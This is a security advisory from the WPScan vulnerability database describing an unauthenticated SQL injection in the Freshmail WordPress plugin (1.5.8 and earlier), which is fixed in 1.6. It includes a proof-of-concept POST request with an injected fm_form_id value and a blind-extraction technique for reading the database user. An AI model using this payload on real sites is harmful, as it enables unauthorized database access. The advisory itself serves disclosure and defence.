Freshmail for WordPress <= 1.5.8 - Unauthenticated SQL Injection

Sign up to our free email alerts service for instant vulnerability notifications!

Description
There is a unauthenticated SQL injection vulnerability in the "Subscribe to
our newsletter" formularies showed to the web visitors in the POST parameter fm_form_id.
Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <web>
X-Requested-With: XMLHttpRequest
[...]
Cookie: wordpress_f30[...]
 
form%5Bemail%5D=fake@fake.com&form%5Bimie%5D=asdf&fm_form_id=1" and "a"="a&action=fm_form&fm_form_referer=%2F
 
Explanation
---------------------
 
A page visitor can submit an email (fake@fake.com) to subscribe to the formulary with fm_form_id="1" and the JSON message received will be similar to:
 
{"form":"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"1","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"success","message":"Your sign up request was successful! Please check your email inbox."}
 
The second time he tries to do the same with the same email the message
returned will be:
 
{"form":"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"1","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"success","message":"Given email address is already subscribed, thank you!"}
 
If we insert 1" and substr(user(),1,1)="a we'll receive either the same message indicating that the Given email is already subscribed indicating that the first character of the username is an "a" or a null message indicating that the username first character is not an "a".
 

Affects

Plugin freshmail-newsletter
fixed in version 1.6

References

EXPLOITDB 36930
PACKETSTORM 131822

Classification

Type SQLI
OWASP Top 10 A1: Injection
CWE CWE-89

Miscellaneous

Submitter Felipe Molina
Submitter Twitter felmoltor
Views 117
Verified No
WPVDB ID 7971

Timeline

Publicly Published 2015-05-06 (over 1 year ago)
Added 2015-05-08 (over 1 year ago)
Last Updated 2015-05-15 (over 1 year ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.